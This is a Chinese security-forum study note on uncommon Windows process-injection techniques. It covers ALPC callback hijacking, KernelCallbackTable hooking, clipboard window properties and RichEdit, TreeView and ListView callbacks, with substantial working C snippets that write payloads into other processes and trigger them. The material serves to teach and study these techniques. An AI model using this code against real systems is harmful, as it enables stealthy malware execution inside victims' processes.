查看原文
其他

Windows不太常见的进程注入学习小记(二)

不懂就不懂 看雪学苑 2022-07-01

本文为看雪论坛精华文章

看雪论坛作者ID:不懂就不懂



本文为《Windows不太常见的进程注入学习小记》系列第二篇。


第一篇链接: Windows不太常见的进程注入学习小记(一)

* 点击文字即可跳转




  •  目录


  •   0x00 前前言


  •   利用ALPC来实现进程注入

  •               0x01前言

  •               0x02 注入

  •               0x03 参考文章


  •   对KernelCallbackTable HOOK实现进程注入

  •               0x01 前言

  •               0x02 注入

  •               0x03 参考文章

  •        

      利用CLIPBRDWNDCLASS窗口类实现进程注入

  •               0x01 前言

  •               0x02 注入

  •               0x03 参考文章

  •      

  •   利用RICHEDIT控件

  •               0x01 前言

  •               0x02 EM_SETWORDBREAKPROC

  •               0x03 EM_STREAMIN

  •               0x04 EM_GETOLECALLBACK

  •               0x05 TVM_SORTCHILDRENCB

  •               0x06 LVM_SORTITEMS

  •               0x07 参考文章






0x00 前前言


这个只是我学习的笔记,真正的代码实现都是网上有人已经公开了的,给了参考链接了,这不是我发现的也不是我研究的,这只是我学习的。





利用ALPC来实现进程注入


0x01前言


本地过程调用(LPC,Local Procedure Call,通常也被称为轻量过程调用或者本地进程间通信是一种由Windows NT内核提供的内部进程间通信方式。通过这一方式,同一计算机上的进程可以进行轻量的通信。

在Windows Vista中,ALPC(Advanced Local Procedure Call,高级本地进程通信)替代了LPC。ALPC提供了一个高速可度量的通信机制,这样便于实现需要在用户模式下高速通信的用户模式驱动程序框架(UMDF,User-Mode Driver Framework)。
 
按照 Alex Ionescu在 syscan2014上的发言,即使最简单的windows程序都会有ALPC连接。可以用ProcessExplorer查看每个进程的ALPC Port的名字。我查看得情况确实是这样的。



与ALPC的中的回调保存地址有关的结构体:TP_CALLBACK_OBJECT

typedef struct _TP_CALLBACK_OBJECT { ULONG RefCount; PVOID CleanupGroupMember; PTP_CLEANUP_GROUP CleanupGroup; PTP_CLEANUP_GROUP_CANCEL_CALLBACK CleanupGroupCancelCallback; PTP_SIMPLE_CALLBACK FinalizationCallback; LIST_ENTRY WorkList; ULONG64 Barrier; ULONG64 Unknown1; SRWLOCK SharedLock; TP_SIMPLE_CALLBACK Callback; PACTIVATION_CONTEXT ActivationContext; ULONG64 SubProcessTag; GUID ActivityId; BOOL WorkingOnBehalfTicket; PVOID RaceDll; PTP_POOL Pool; LIST_ENTRY GroupList; ULONG Flags; TP_SIMPLE_CALLBACK CallerAddress; TP_CALLBACK_PRIORITY CallbackPriority;} TP_CALLBACK_OBJECT, *PTP_CALLBACK_OBJECT;

其中TP_SIMPLE_CALLBACK是保存回调函数地址的结构,第二个参数是函数参数。为:

typedef struct _TP_SIMPLE_CALLBACK { PVOID Function; PVOID Context;} TP_SIMPLE_CALLBACK;

根据文章内容和代码,我只能确定构造后的Context参数为TP_SIMPLE_CALLBACK本身所在的地址。


0x02 注入


1. 通过进程名拿到要注入的目标进程id,通过进程id获取进程句柄。

pi->hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pi->pid); if(pi->hp==NULL) return FALSE;

2. 通过NtQuerySystemInformation,传0x10(SystemHandleInformation)参数获取句柄信息。

for(len=MAX_BUFSIZ;;len+=MAX_BUFSIZ) { list = xmalloc(len); status = NtQuerySystemInformation( SystemHandleInformation, list, len, &total); // break from loop if ok if(NT_SUCCESS(status)) break; // free list and continue xfree(list); }

3. 判断循环判断句柄是否是属于要注入的目标进程的ALPC端口对象。


  • 判断句柄所属进程的pid是不是目标进程

  • 判断句柄类型是不是45...文章说不同的操作系统版本这个值不太一样,windows10是45。
  • 如果都是的话就将句柄对象拷贝至进程空间,获取对象的名字,判断不为空就将该对象名字入vector。获取ALPC端口对象的名字是为了之后与该端口进行连接操作。

for(i=0; i<hl->NumberOfHandles; i++) { if(hl->Handles[i].UniqueProcessId != pi->pid) continue; if(hl->Handles[i].ObjectTypeIndex != 45) continue;
// duplicate the handle object status = NtDuplicateObject( pi->hp, (HANDLE)hl->Handles[i].HandleValue, GetCurrentProcess(), &hObj, 0, 0, 0);
// continue with next entry if we failed if(!NT_SUCCESS(status)) continue;
// try query the name status = NtQueryObject(hObj, ObjectNameInformation, objName, 8192, NULL);
// got it okay? if(NT_SUCCESS(status) && objName->Name.Buffer!=NULL) { // save to list pi->ports.push_back(objName->Name.Buffer); } // close handle object NtClose(hObj); }

4. 搜索进程内存,找到进程中的PTP_CALLBACK_OBJECT结构体。

  • 根据该结构所属的内存的属性来搜索。


BOOL IsValidTCO(HANDLE hProcess, PTP_CALLBACK_OBJECT tco) { MEMORY_BASIC_INFORMATION mbi; SIZE_T res;
// if it's a callback, these values shouldn't be empty if(tco->CleanupGroupMember == NULL || tco->Pool == NULL || tco->CallerAddress.Function == NULL || tco->Callback.Function == NULL) return FALSE;
// the CleanupGroupMember should reside in read-only // area of image res = VirtualQueryEx(hProcess, (LPVOID)tco->CleanupGroupMember, &mbi, sizeof(mbi));
if (res != sizeof(mbi)) return FALSE; if (!(mbi.Protect & PAGE_READONLY)) return FALSE; if (!(mbi.Type & MEM_IMAGE)) return FALSE;
// the pool object should reside in read+write memory res = VirtualQueryEx(hProcess, (LPVOID)tco->Pool, &mbi, sizeof(mbi));
if (res != sizeof(mbi)) return FALSE; if (!(mbi.Protect & PAGE_READWRITE)) return FALSE;
// the caller function should reside in read+executable memory res = VirtualQueryEx(hProcess, (LPCVOID)tco->CallerAddress.Function, &mbi, sizeof(mbi));
if (res != sizeof(mbi)) return FALSE; if (!(mbi.Protect & PAGE_EXECUTE_READ)) return FALSE;
// the callback function should reside in read+executable memory res = VirtualQueryEx(hProcess, (LPCVOID)tco->Callback.Function, &mbi, sizeof(mbi));
if (res != sizeof(mbi)) return FALSE; return (mbi.Protect & PAGE_EXECUTE_READ); }


  • 如果搜索到了就判断这个结构体所属模块是否是RPCRT4.dll。


bFound=IsValidTCO(pi->hp, &tco); if(bFound) { // obtain module name where callback resides GetMappedFileName(pi->hp, (LPVOID)tco.Callback.Function, filename, MAX_PATH); // filter by RPCRT4.dll if(StrStrI(filename, L"RPCRT4.dll")!=NULL) { wprintf(L"Found TCO at %p for %s\n", addr+pos, filename); // try run payload using this TCO // if successful, end scan bInject = ALPC_deploy(pi, addr+pos, &tco); if (bInject) break; } }


  • 如果属于对的模块,那么就是真的找到了该结构。

  • 然后对这个结构进行HOOK操作。


5. 对找到的结构进行HOOK

BOOL ALPC_deploy(process_info *pi, LPVOID ds, PTP_CALLBACK_OBJECT tco) { LPVOID cs = NULL; BOOL bInject = FALSE; TP_CALLBACK_OBJECT cpy; // local copy of tco SIZE_T wr; TP_SIMPLE_CALLBACK tp; DWORD i;
// allocate memory in remote for payload and callback parameter cs = VirtualAllocEx(pi->hp, NULL, pi->payloadSize + sizeof(TP_SIMPLE_CALLBACK), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (cs != NULL) { // write payload to remote process WriteProcessMemory(pi->hp, cs, pi->payload, pi->payloadSize, &wr); // backup TCO CopyMemory(&cpy, tco, sizeof(TP_CALLBACK_OBJECT)); // copy original callback address and parameter tp.Function = cpy.Callback.Function; tp.Context = cpy.Callback.Context; // write callback+parameter to remote process WriteProcessMemory(pi->hp, (LPBYTE)cs + pi->payloadSize, &tp, sizeof(tp), &wr); // update original callback with address of payload and parameter cpy.Callback.Function = cs; cpy.Callback.Context = (LPBYTE)cs + pi->payloadSize; // update TCO in remote process WriteProcessMemory(pi->hp, ds, &cpy, sizeof(cpy), &wr); // trigger execution of payload for(i=0;i<pi->ports.size(); i++) { ALPC_Connect(pi->ports[i]); // read back the TCO ReadProcessMemory(pi->hp, ds, &cpy, sizeof(cpy), &wr); // if callback pointer is the original, we succeeded. bInject = (cpy.Callback.Function == tco->Callback.Function); if(bInject) break; } // restore the original tco WriteProcessMemory(pi->hp, ds, tco, sizeof(cpy), &wr); // release memory for payload VirtualFreeEx(pi->hp, cs, pi->payloadSize+sizeof(tp), MEM_RELEASE); } return bInject;}

0x03 参考文章


https://conference.hitb.org/hitbsecconf2014kul/materials/D2T1%20-%20Ben%20Nagy%20-%20ALPC%20Fuzzing%20Toolkit.pdf

https://blog.csdn.net/weixin_43787608/article/details/84555474

https://modexp.wordpress.com/2019/03/07/process-injection-print-spooler/





对KernelCallbackTable
HOOK实现进程注入



0x01 前言


KernelCallBackTable是一个结构体,可以通过PEB来找到这个结构体的地址,当程序调用USER32.DLL时,KernelCallbackTable就会被初始化为函数数组。这个函数数组中的函数通常用于响应窗口消息,例如,_fnCOPYDATA是响应WM_COPYDATA消息而执行的。
 
PEB结构体中的KernelCallbackTable结构所在位置:

typedef struct _PEB{ BOOLEAN InheritedAddressSpace; // These four fields cannot change unless the BOOLEAN ReadImageFileExecOptions; // BOOLEAN BeingDebugged; // BOOLEAN SpareBool; // HANDLE Mutant; // INITIAL_PEB structure is also updated.
PVOID ImageBaseAddress; PPEB_LDR_DATA Ldr; PRTL_USER_PROCESS_PARAMETERS ProcessParameters; PVOID SubSystemData; PVOID ProcessHeap; PVOID FastPebLock; PVOID FastPebLockRoutine; PVOID FastPebUnlockRoutine; ULONG EnvironmentUpdateCount; PVOID KernelCallbackTable; // ...snipped

KernelCallBackTable结构体:

typedef struct _KERNELCALLBACKTABLE_T { ULONG_PTR __fnCOPYDATA; ULONG_PTR __fnCOPYGLOBALDATA; ULONG_PTR __fnDWORD; ULONG_PTR __fnNCDESTROY; ULONG_PTR __fnDWORDOPTINLPMSG; ULONG_PTR __fnINOUTDRAG; ULONG_PTR __fnGETTEXTLENGTHS; ULONG_PTR __fnINCNTOUTSTRING; ULONG_PTR __fnPOUTLPINT; ULONG_PTR __fnINLPCOMPAREITEMSTRUCT; ULONG_PTR __fnINLPCREATESTRUCT; ULONG_PTR __fnINLPDELETEITEMSTRUCT; ULONG_PTR __fnINLPDRAWITEMSTRUCT; ULONG_PTR __fnPOPTINLPUINT; ULONG_PTR __fnPOPTINLPUINT2; ULONG_PTR __fnINLPMDICREATESTRUCT; ULONG_PTR __fnINOUTLPMEASUREITEMSTRUCT; ULONG_PTR __fnINLPWINDOWPOS; ULONG_PTR __fnINOUTLPPOINT5; ULONG_PTR __fnINOUTLPSCROLLINFO; ULONG_PTR __fnINOUTLPRECT; ULONG_PTR __fnINOUTNCCALCSIZE; ULONG_PTR __fnINOUTLPPOINT5_; ULONG_PTR __fnINPAINTCLIPBRD; ULONG_PTR __fnINSIZECLIPBRD; ULONG_PTR __fnINDESTROYCLIPBRD; ULONG_PTR __fnINSTRING; ULONG_PTR __fnINSTRINGNULL; ULONG_PTR __fnINDEVICECHANGE; ULONG_PTR __fnPOWERBROADCAST; ULONG_PTR __fnINLPUAHDRAWMENU; ULONG_PTR __fnOPTOUTLPDWORDOPTOUTLPDWORD; ULONG_PTR __fnOPTOUTLPDWORDOPTOUTLPDWORD_; ULONG_PTR __fnOUTDWORDINDWORD; ULONG_PTR __fnOUTLPRECT; ULONG_PTR __fnOUTSTRING; ULONG_PTR __fnPOPTINLPUINT3; ULONG_PTR __fnPOUTLPINT2; ULONG_PTR __fnSENTDDEMSG; ULONG_PTR __fnINOUTSTYLECHANGE; ULONG_PTR __fnHkINDWORD; ULONG_PTR __fnHkINLPCBTACTIVATESTRUCT; ULONG_PTR __fnHkINLPCBTCREATESTRUCT; ULONG_PTR __fnHkINLPDEBUGHOOKSTRUCT; ULONG_PTR __fnHkINLPMOUSEHOOKSTRUCTEX; ULONG_PTR __fnHkINLPKBDLLHOOKSTRUCT; ULONG_PTR __fnHkINLPMSLLHOOKSTRUCT; ULONG_PTR __fnHkINLPMSG; ULONG_PTR __fnHkINLPRECT; ULONG_PTR __fnHkOPTINLPEVENTMSG; ULONG_PTR __xxxClientCallDelegateThread; ULONG_PTR __ClientCallDummyCallback; ULONG_PTR __fnKEYBOARDCORRECTIONCALLOUT; ULONG_PTR __fnOUTLPCOMBOBOXINFO; ULONG_PTR __fnINLPCOMPAREITEMSTRUCT2; ULONG_PTR __xxxClientCallDevCallbackCapture; ULONG_PTR __xxxClientCallDitThread; ULONG_PTR __xxxClientEnableMMCSS; ULONG_PTR __xxxClientUpdateDpi; ULONG_PTR __xxxClientExpandStringW; ULONG_PTR __ClientCopyDDEIn1; ULONG_PTR __ClientCopyDDEIn2; ULONG_PTR __ClientCopyDDEOut1; ULONG_PTR __ClientCopyDDEOut2; ULONG_PTR __ClientCopyImage; ULONG_PTR __ClientEventCallback; ULONG_PTR __ClientFindMnemChar; ULONG_PTR __ClientFreeDDEHandle; ULONG_PTR __ClientFreeLibrary; ULONG_PTR __ClientGetCharsetInfo; ULONG_PTR __ClientGetDDEFlags; ULONG_PTR __ClientGetDDEHookData; ULONG_PTR __ClientGetListboxString; ULONG_PTR __ClientGetMessageMPH; ULONG_PTR __ClientLoadImage; ULONG_PTR __ClientLoadLibrary; ULONG_PTR __ClientLoadMenu; ULONG_PTR __ClientLoadLocalT1Fonts; ULONG_PTR __ClientPSMTextOut; ULONG_PTR __ClientLpkDrawTextEx; ULONG_PTR __ClientExtTextOutW; ULONG_PTR __ClientGetTextExtentPointW; ULONG_PTR __ClientCharToWchar; ULONG_PTR __ClientAddFontResourceW; ULONG_PTR __ClientThreadSetup; ULONG_PTR __ClientDeliverUserApc; ULONG_PTR __ClientNoMemoryPopup; ULONG_PTR __ClientMonitorEnumProc; ULONG_PTR __ClientCallWinEventProc; ULONG_PTR __ClientWaitMessageExMPH; ULONG_PTR __ClientWOWGetProcModule; ULONG_PTR __ClientWOWTask16SchedNotify; ULONG_PTR __ClientImmLoadLayout; ULONG_PTR __ClientImmProcessKey; ULONG_PTR __fnIMECONTROL; ULONG_PTR __fnINWPARAMDBCSCHAR; ULONG_PTR __fnGETTEXTLENGTHS2; ULONG_PTR __fnINLPKDRAWSWITCHWND; ULONG_PTR __ClientLoadStringW; ULONG_PTR __ClientLoadOLE; ULONG_PTR __ClientRegisterDragDrop; ULONG_PTR __ClientRevokeDragDrop; ULONG_PTR __fnINOUTMENUGETOBJECT; ULONG_PTR __ClientPrinterThunk; ULONG_PTR __fnOUTLPCOMBOBOXINFO2; ULONG_PTR __fnOUTLPSCROLLBARINFO; ULONG_PTR __fnINLPUAHDRAWMENU2; ULONG_PTR __fnINLPUAHDRAWMENUITEM; ULONG_PTR __fnINLPUAHDRAWMENU3; ULONG_PTR __fnINOUTLPUAHMEASUREMENUITEM; ULONG_PTR __fnINLPUAHDRAWMENU4; ULONG_PTR __fnOUTLPTITLEBARINFOEX; ULONG_PTR __fnTOUCH; ULONG_PTR __fnGESTURE; ULONG_PTR __fnPOPTINLPUINT4; ULONG_PTR __fnPOPTINLPUINT5; ULONG_PTR __xxxClientCallDefaultInputHandler; ULONG_PTR __fnEMPTY; ULONG_PTR __ClientRimDevCallback; ULONG_PTR __xxxClientCallMinTouchHitTestingCallback; ULONG_PTR __ClientCallLocalMouseHooks; ULONG_PTR __xxxClientBroadcastThemeChange; ULONG_PTR __xxxClientCallDevCallbackSimple; ULONG_PTR __xxxClientAllocWindowClassExtraBytes; ULONG_PTR __xxxClientFreeWindowClassExtraBytes; ULONG_PTR __fnGETWINDOWDATA; ULONG_PTR __fnINOUTSTYLECHANGE2; ULONG_PTR __fnHkINLPMOUSEHOOKSTRUCTEX2;} KERNELCALLBACKTABLE;

0x02 注入


例子程序中HOOK的是WM_COPYDATA的响应函数fnCOPYDATA。

  • 还是根据窗口名获取进程id获取进程句柄。


  • 使用NtQueryInformationProcess传入ProcessBasicInformation来获取目标进程的PEB。


NtQueryInformationProcess(hp, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);


  • 根据偏移找到KernelCallbackTable


ReadProcessMemory(hp, pbi.PebBaseAddress, &peb, sizeof(peb), &rd);
ReadProcessMemory(hp, peb.KernelCallbackTable, &kct, sizeof(kct), &rd);


  • HOOK KernelCallbackTable 中的fnCOPYDATA。


cs = VirtualAllocEx(hp, NULL, payloadSize,MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
// 4. Write the new table to remote processds = VirtualAllocEx(hp, NULL, sizeof(kct), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);kct.__fnCOPYDATA = (ULONG_PTR)cs;WriteProcessMemory(hp, ds, &kct, sizeof(kct), &wr);
// 5. Update the PEBWriteProcessMemory(hp, (PBYTE)pbi.PebBaseAddress + offsetof(PEB, KernelCallbackTable), &ds, sizeof(ULONG_PTR), &wr);


  • 发消息触发HOOK


cds.dwData = 1;cds.cbData = lstrlen(msg) * 2;cds.lpData = msg;
SendMessage(hw, WM_COPYDATA, (WPARAM)hw, (LPARAM)&cds);


  • 恢复KernelCallbackTable


WriteProcessMemory(hp, (PBYTE)pbi.PebBaseAddress + offsetof(PEB, KernelCallbackTable), &peb.KernelCallbackTable, sizeof(ULONG_PTR), &wr);


0x03 参考文章


https://modexp.wordpress.com/2019/05/25/windows-injection-finspy/





利用CLIPBRDWNDCLASS
窗口类实现进程注入



0x01 前言


CLIPBRDWNDCLASS这个窗口类通常与剪切板相关,类中的属性中有处理剪切板数据所需的函数地址。

这里主要用ClipboardDataObjectInterface的属性实现进程注入。

ClipboardRootDataObjectInterface和ClipboardDataObjectInterfaceMTA这两个属性也可以利用。

当使用SetProp这个API将属性ClipboardDataObjectInterface设置为IUnknown接口的地址后向该窗口发送WM_DESTROYCLIPBOARD消息,将会调用IUnknown接口中的Release方法。
 
IUnknown接口结构(冒牌货):

typedef struct _IUnknown_t { // a pointer to virtual function table ULONG_PTR lpVtbl; // the virtual function table ULONG_PTR QueryInterface; ULONG_PTR AddRef; ULONG_PTR Release; // executed for WM_DESTROYCLIPBOARD} IUnknown_t;

0x02 注入


根据窗口类名找到窗口句柄,找到进程pid找到进程句柄。

hw = FindWindowEx(HWND_MESSAGE, NULL, L"CLIPBRDWNDCLASS", NULL);GetWindowThreadProcessId(hw, &id);hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);

在找到的进程之中申请内存构造IUnknow接口,将接口中的release设置为写入的payload的地址 ,将虚表设置为下个四字节的地址。

cs = VirtualAllocEx(hp, NULL, payloadSize,MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);WriteProcessMemory(hp, cs, payload, payloadSize, &wr);// 3. Allocate RW memory in process.// Initialize and write IUnknown interfaceds = VirtualAllocEx(hp, NULL, sizeof(IUnknown_t),MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);iu.lpVtbl = (ULONG_PTR)ds + sizeof(ULONG_PTR);iu.Release = (ULONG_PTR)cs;WriteProcessMemory(hp, ds, &iu, sizeof(IUnknown_t), &wr);

设置属性值,并发送消息触发自定义的payload。

// 4. Set the interface property and trigger execution SetProp(hw, L"ClipboardDataObjectInterface", ds); PostMessage(hw, WM_DESTROYCLIPBOARD, 0, 0);

0x03 参考文章


https://modexp.wordpress.com/2019/05/24/4066/





利用RICHEDIT控件


0x01 前言


RichEdit控件是一个可用于输入、编辑、格式化、打印和保存文本的窗口空间。该控件中有许多的回调函数用于处理不同的消息。
 
这一次利用的消息有:
  • EM_SETWORDBREAKPROCG

  • EM_STREAMIN

  • EM_GETOLECALLBACK

  • TVM_SORTCHILDRENCB

  • LVM_SORTITEMS


0x02 EM_SETWORDBREAKPROC


通过该消息可以设置当有键盘按键事件发生时的消息回调。

找到具有RICHEDIT50W窗口类的空间,测试代码为了测试是直接通过写字板应用程序测试的。

wpw = FindWindow(L"WordPadClass", NULL);
// 2. Find the rich edit control for wordpad.rew = FindWindowEx(wpw, NULL, L"RICHEDIT50W", NULL);

获取当前Wordwrap函数的地址,和写字板的进程ID,打开该进程。

wwf = (LPVOID)SendMessage(rew, EM_GETWORDBREAKPROC, 0, 0);
// 4. Obtain the process id for wordpad.GetWindowThreadProcessId(rew, &id);hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);

在写字板进程中申请内存写入payload,将消息回调设置为payload的地址。

cs = VirtualAllocEx(hp, NULL, payloadSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// 7. Write the payload to memory WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
// 8. Update the callback procedure SendMessage(rew, EM_SETWORDBREAKPROC, 0, (LPARAM)cs);

模拟键盘输入操作触发payload,然后恢复窗口回调。

ip.type = INPUT_KEYBOARD; ip.ki.wVk = 'A'; ip.ki.wScan = 0; ip.ki.dwFlags = 0; ip.ki.time = 0; ip.ki.dwExtraInfo = 0;
SetForegroundWindow(wpw); SendInput(1, &ip, sizeof(ip)); SendInput(1, &ip, sizeof(ip));
// 10. Restore original Wordwrap function SendMessage(rew, EM_SETWORDBREAKPROC, 0, (LPARAM)wwf);


0x03 EM_STREAMIN


当RIchEdit控件收到EM_STREAMIN消息时候,将会使用EDITSTREAM结构将数据传入或者传出控件。

typedef struct _editstream{ DWORD_PTR dwCookie; // User value passed to callback as first parameter DWORD dwError; // Last error EDITSTREAMCALLBACK pfnCallback;} EDITSTREAM;

其中为EDITSTREAMCALLBACK类型的pfnCallback字段可以用于指向payload。当使用这个方法的时候,控件中的文本内容将会被删除。

  • 获取相应进程信息


wpw = FindWindow(L"WordPadClass", NULL);rew = FindWindowEx(wpw, NULL, L"RICHEDIT50W", NULL);
// 2. Obtain the process id and try to open processGetWindowThreadProcessId(rew, &id);hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);


  • 申请内存,创建EDITSTREAM对象


// 3. Allocate RWX memory and copy the payload there. cs = VirtualAllocEx(hp, NULL, payloadSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
// 4. Allocate RW memory and copy the EDITSTREAM structure there. ds = VirtualAllocEx(hp, NULL, sizeof(EDITSTREAM), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
es.dwCookie = 0; es.dwError = 0; es.pfnCallback = cs;
WriteProcessMemory(hp, ds, &es, sizeof(EDITSTREAM), &wr);


  • 触发payload


// 5. Trigger payload with EM_STREAMIN SendMessage(rew, EM_STREAMIN, SF_TEXT, (LPARAM)ds);

0x04 EM_GETOLECALLBACK


这个其实和消息回调关系不大,EM_GETOLECALLBACK可以获取虚表执政,主要是用于HOOK RichEditOle的虚表指针,将整个虚表指针hook。以下是该控件虚表指针的虚表原型。

typedef struct _IRichEditOle_t { ULONG_PTR QueryInterface; ULONG_PTR AddRef; ULONG_PTR Release; ULONG_PTR GetClientSite; ULONG_PTR GetObjectCount; ULONG_PTR GetLinkCount; ULONG_PTR GetObject; ULONG_PTR InsertObject; ULONG_PTR ConvertObject; ULONG_PTR ActivateAs; ULONG_PTR SetHostNames; ULONG_PTR SetLinkAvailable; ULONG_PTR SetDvaspect; ULONG_PTR HandsOffStorage; ULONG_PTR SaveCompleted; ULONG_PTR InPlaceDeactivate; ULONG_PTR ContextSensitiveHelp; ULONG_PTR GetClipboardData; ULONG_PTR ImportDataObject;} _IRichEditOle;

老样子

rew = FindWindow(L"WordPadClass", NULL); rew = FindWindowEx(rew, NULL, L"RICHEDIT50W", NULL);
// 2. Obtain the process id and try to open process GetWindowThreadProcessId(rew, &id); hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);
// 3. Allocate RWX memory and copy the payload there cs = VirtualAllocEx(hp, NULL, payloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hp, cs, payload, payloadSize, &wr);

查询接口

// 5. Query the interfaceSendMessage(rew, EM_GETOLEINTERFACE, 0, (LPARAM)ptr);// 6. Read the memory addressReadProcessMemory(hp, ptr, &mem, sizeof(ULONG_PTR), &wr);

读取虚表指针地址

// 7. Read IRichEditOle.lpVtbl ReadProcessMemory(hp, mem, &tbl, sizeof(ULONG_PTR), &wr);

读取虚表内容

// 8. Read virtual function table ReadProcessMemory(hp, tbl, &reo, sizeof(_IRichEditOle), &wr);

将虚表指针进行HOOK,构造虚表,将表中关于WM_COPY的回调函数修改为payload的的地址并触发消息。

// 9. Allocate memory for copy of virtual table ds = VirtualAllocEx(hp, NULL, sizeof(_IRichEditOle), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// 10. Set the GetClipboardData method to address of payload reo.GetClipboardData = (ULONG_PTR)cs;
// 11. Write new virtual function table to remote memory WriteProcessMemory(hp, ds, &reo, sizeof(_IRichEditOle), &wr);
// 12. update IRichEditOle.lpVtbl WriteProcessMemory(hp, mem, &ds, sizeof(ULONG_PTR), &wr);
// 13. Trigger payload by invoking the GetClipboardData method PostMessage(rew, WM_COPY, 0, 0);

0x05 TVM_SORTCHILDRENCB


主要以获取treelist的句柄之后,获取treelist的第一项,构造TVSORTCB结构,对treelist第一项发送消息TVM_SORTCHILDRENCB,触发TVSORTCB结构中的payload。

typedef struct tagTVSORTCB{ HTREEITEM hParent; PFNTVCOMPARE lpfnCompare; LPARAM lParam;} TVSORTCB, *LPTVSORTCB;

老规矩,不过这一次实验是通过注册表实现的

wpw = FindWindow(L"RegEdit_RegEdit", NULL);tlv = FindWindowEx(wpw, 0, L"SysTreeView32", 0);
// 2. Obtain the process id and try to open processGetWindowThreadProcessId(tlv, &id);hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);
// 3. Allocate RWX memory and copy the payload there.cs = VirtualAllocEx(hp, NULL, payloadSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hp, cs, payload, payloadSize, &wr);

获取treelist的根节点,构造TVSORTCB结构。发送TVM_SORTCHILDRENCB以触发结构中的payload。

item = (LPVOID)SendMessage(tlv, TVM_GETNEXTITEM, TVGN_ROOT, 0);
tvs.hParent = item;tvs.lpfnCompare = cs;tvs.lParam = 0;
// 5. Allocate RW memory and copy the TVSORTCB structureds = VirtualAllocEx(hp, NULL, sizeof(TVSORTCB), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hp, ds, &tvs, sizeof(TVSORTCB), &wr);
// 6. Trigger payloadSendMessage(tlv, TVM_SORTCHILDRENCB, 0, (LPARAM)ds);

0x06 LVM_SORTITEMS


这个比较简单,直接获取treelist控件,发送消息LVM_SORTITEMS以运行payload。有个缺点就是treelist的子tree都会响应这个消息,想想就很恐怖。

// 1. get the window handle wpw = FindWindow(L"RegEdit_RegEdit", NULL); lvm = FindWindowEx(wpw, 0, L"SysListView32", 0); // 2. Obtain the process id and try to open process GetWindowThreadProcessId(lvm, &id); hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id); // 3. Allocate RWX memory and copy the payload there. cs = VirtualAllocEx(hp, NULL, payloadSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(hp, cs, payload, payloadSize, &wr); // 4. Trigger payload PostMessage(lvm, LVM_SORTITEMS, 0, (LPARAM)cs); // 5. Free memory and close process handle VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE); CloseHandle(hp);

0x07 参考文章


https://modexp.wordpress.com/2019/04/25/seven-window-injection-methods/#listplanting



- End -



看雪ID:不懂就不懂

https://bbs.pediy.com/user-795949.htm

  *本文由看雪论坛 不懂就不懂 原创,转载请注明来自看雪社区。



推荐文章++++

* Windows不太常见的进程注入学习小记(一)

* 脚本类恶意程序的快速分析技巧

* 萌新逆向学习笔记——消息钩子键盘记录

* 关于Kimsuky的一次恶意样本分析小记

* HellsingAPT分享







公众号ID:ikanxue
官方微博:看雪安全
商务合作:wsc@kanxue.com


求分享

求点赞

求在看


“阅读原文”一起来充电吧!

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存